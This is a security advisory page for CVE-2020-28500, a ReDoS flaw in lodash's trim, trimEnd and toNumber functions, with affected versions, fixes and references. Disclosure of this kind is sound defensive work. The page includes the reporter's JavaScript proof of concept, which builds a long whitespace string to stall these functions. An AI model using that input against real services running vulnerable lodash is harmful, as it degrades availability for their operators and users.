Regular Expression Denial of Service (ReDoS) in lodash
All versions of package lodash prior to 4.17.21 are vulnerable to Regular Expression Denial of Service (ReDoS) via the toNumber, trim and trimEnd functions.
Steps to reproduce (provided by reporter Liyuan Chen):
var lo = require('lodash');
function build_blank(n) {
var ret = "1"
for (var i = 0; i < n; i++) {
ret += " "
}
return ret + "1";
}
var s = build_blank(50000) var time0 = Date.now();
lo.trim(s)
var time_cost0 = Date.now() - time0;
console.log("time_cost0: " + time_cost0);
var time1 = Date.now();
lo.toNumber(s) var time_cost1 = Date.now() - time1;
console.log("time_cost1: " + time_cost1);
var time2 = Date.now();
lo.trimEnd(s);
var time_cost2 = Date.now() - time2;
console.log("time_cost2: " + time_cost2);Affected software
Click a technology to see all vulnerabilities affecting it.
| Platform | Package | Vulnerable versions | Fixed in |
|---|---|---|---|
| npm package | lodash | >= 4.0.0, < 4.17.21 | 4.17.21 |
| npm package | lodash-es | >= 4.0.0, < 4.17.21 | 4.17.21 |
| npm package | lodash.trim | >= 4.0.0, <= 4.5.1 | no fix |
| npm package | lodash.trimend | >= 4.0.0, <= 4.5.1 | no fix |
References
- https://nvd.nist.gov/vuln/detail/CVE-2020-28500
- https://github.com/github/advisory-database/pull/6139
- https://github.com/lodash/lodash/pull/5065
- https://github.com/lodash/lodash/pull/5065/commits/02906b8191d3c100c193fe6f7b27d1c40f200bb7
- https://github.com/lodash/lodash/commit/c4847ebe7d14540bb28a8b932a9ce1b9ecbfee1a
- https://www.oracle.com/security-alerts/cpuoct2021.html
- https://www.oracle.com/security-alerts/cpujul2022.html
- https://www.oracle.com/security-alerts/cpujan2022.html
- https://www.oracle.com//security-alerts/cpujul2021.html
- https://snyk.io/vuln/SNYK-JS-LODASH-1018905
- https://snyk.io/vuln/SNYK-JAVA-ORGWEBJARSNPM-1074893
- https://snyk.io/vuln/SNYK-JAVA-ORGWEBJARSBOWERGITHUBLODASH-1074895
- https://snyk.io/vuln/SNYK-JAVA-ORGWEBJARSBOWER-1074892
- https://snyk.io/vuln/SNYK-JAVA-ORGWEBJARS-1074894
- https://snyk.io/vuln/SNYK-JAVA-ORGFUJIONWEBJARS-1074896
- https://security.netapp.com/advisory/ntap-20210312-0006
- https://github.com/rubysec/ruby-advisory-db/blob/master/gems/lodash-rails/CVE-2020-28500.yml
- https://github.com/lodash/lodash/blob/npm/trimEnd.js%23L8
- https://github.com/lodash/lodash
- https://cert-portal.siemens.com/productcert/pdf/ssa-637483.pdf
- CVSS vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L- Weakness (CWE)
CWE-1333, CWE-400- Platform
- npm
- Package
lodash, lodash-es, lodash.trim- Disclosed
- 06.01.2022
- Updated
- 11.10.2026 10:22
Sources and licenses
OSV / GitHub Advisory Database - GHSA-29mw-wpgm-hmr9 - CC BY 4.0
Vulnerability history: lodash.trimend
All published vulnerabilities of this package (npm package), newest first. Shows whether this is a one-off slip or a package that needs watching.
This is the only known vulnerability of this package.
Know which vulnerabilities affect your application
With the DockRay integration and software inventory enabled, DockRay checks reported component versions against known vulnerabilities and notifies you about confirmed matches. Coverage depends on the supported technology and available advisory data.